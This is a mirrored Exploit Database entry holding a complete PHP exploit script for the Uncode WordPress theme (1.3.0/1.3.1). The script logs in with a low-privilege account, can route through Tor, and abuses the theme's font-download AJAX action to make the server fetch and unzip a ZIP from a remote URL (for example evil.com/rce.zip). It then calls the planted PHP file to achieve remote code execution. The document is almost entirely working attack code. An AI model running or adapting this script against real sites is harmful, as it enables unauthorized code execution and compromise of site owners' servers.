WordPress Theme Uncode 1.3.1 – Arbitrary File Upload

Exploit Database
126 阅读

作者： wp0Day.com

日期： 2016-06-06
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/39895/

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<?php

/**

* Exploit Title: Uncode WP Theme RCE Expoit

* Google Dork:

* Exploit Author: wp0Day.com <contact@wp0day.com>

* Vendor Homepage:

* Software Link: http://themeforest.net/item/uncode-creative-multiuse-wordpress-theme/13373220

* Version: 1.3.0 possible 1.3.1

* Tested on: Debian 8, PHP 5.6.17-3

* Type: RCE, Arbirary file UPLOAD, (Low Authenticated )

* Time line: Found [24-APR-2016], Vendor notified [24-APR-2016], Vendor fixed: [27-APR-2016], [RD:1464134400]

require_once('curl.php');

//OR

//include('https://raw.githubusercontent.com/svyatov/CurlWrapper/master/CurlWrapper.php');

$curl = new CurlWrapper();

$options = getopt("t:u:p:f:",array('tor:'));

print_r($options);

$options = validateInput($options);

if (!$options){

showHelp();

}

if ($options['tor'] === true)

{

echo " ### USING TOR ###\n";

echo "Setting TOR Proxy...\n";

$curl->addOption(CURLOPT_PROXY,"http://127.0.0.1:9150/");

$curl->addOption(CURLOPT_PROXYTYPE,7);

echo "Checking IPv4 Address\n";

$curl->get('https://dynamicdns.park-your-domain.com/getip');

echo "Got IP : ".$curl->getResponse()."\n";

echo "Are you sure you want to do this?\nType 'wololo' to continue: ";

$answer = fgets(fopen ("php://stdin","r"));

if(trim($answer) != 'wololo'){

die("Aborting!\n");

}

echo "OK...\n";

}

function logIn(){

global $curl, $options;

file_put_contents('cookies.txt',"\n");

$curl->setCookieFile('cookies.txt');

$curl->get($options['t']);

$data = array('log'=>$options['u'], 'pwd'=>$options['p'], 'redirect_to'=>$options['t'], 'wp-submit'=>'Log In');

$curl->post($options['t'].'/wp-login.php', $data);

$status =$curl->getTransferInfo('http_code');

if ($status !== 302){

echo "Login probably failed, aborting...\n";

echo "Login response saved to login.html.\n";

die();

}

file_put_contents('login.html',$curl->getResponse());

}

function exploit(){

global $curl, $options;

echo "Generateing payload.\n";

$data = array('action'=>'uncodefont_download_font', 'font_url'=>$options['f']);

echo "Sending payload\n";

$curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);

$resp = $curl->getResponse();

echo "Eco response: ".$resp."\n";

$resp = json_decode($resp,true);

if ($resp['success'] === 'Font downloaded and extracted successfully.'){

echo "Response ok, calling RCE\n";

$file_path = parse_url($options['f']);

$remote_file_info = pathinfo($file_path['path']);

$zip_file_name = $remote_file_info['basename'];

$zip_file_name_php= str_replace('.zip', '.php', $zip_file_name);

$url = $options['t'].'wp-content/uploads/uncode-fonts/'.$zip_file_name.'/'.$zip_file_name_php;

echo 'Url: '. $url."\n";

//POC Test mode

if ($file_path['host'] == 'wp0day.com'){

echo "Exploit test mode on\n";

$rnd = rand();

echo "Rand $rnd, MD5: ".md5($rnd)."\n";

$url = $url . '?poc='.$rnd;

}

$curl->get($url);

echo "RCE Response:";

echo $curl->getResponse()."\n\n";

}

exploit();

function validateInput($options){

if ( !isset($options['t']) || !filter_var($options['t'], FILTER_VALIDATE_URL) ){

return false;

}

if ( !isset($options['u']) ){

return false;

}

if ( !isset($options['p']) ){

return false;

}

if ( !isset($options['f']) ){

return false;

}

if (!preg_match('~/$~',$options['t'])){

$options['t'] = $options['t'].'/';

}

$options['tor'] = isset($options['tor']);

return $options;

}

function showHelp(){

global $argv;

$help = <<<EOD

Uncode WP Theme RCE Expoit

Usage: php $argv[0] -t [TARGET URL] --tor [USE TOR?] -u [USERNAME] -p [PASSWORD] -f [URL]

*** You need to have a valid login (customer or subscriber will do) in order to use this "exploit" **

[TARGET_URL] http://localhost/wordpress/

[URL] It must be ZIP file. It gets unzipped into /wp-content/uploads/uncode-fonts/[some.zip]/files folder

Example: rce.php -> zip -> rce.zip -> http://evil.com/rce.zip -> /wp-content/uploads/uncode-fonts/rce.zip/rce.php

Examples:

php $argv[0] -t http://localhost/wordpress --tor=yes -u customer1 -p password -f http://wp0day.com/res/php/poc.zip

Misc:

CURL Wrapper by Leonid Svyatov <leonid@svyatov.ru>

@link http://github.com/svyatov/CurlWrapper

@license http://www.opensource.org/licenses/mit-license.html MIT License

EOD;

echo $help."\n\n";

die();

}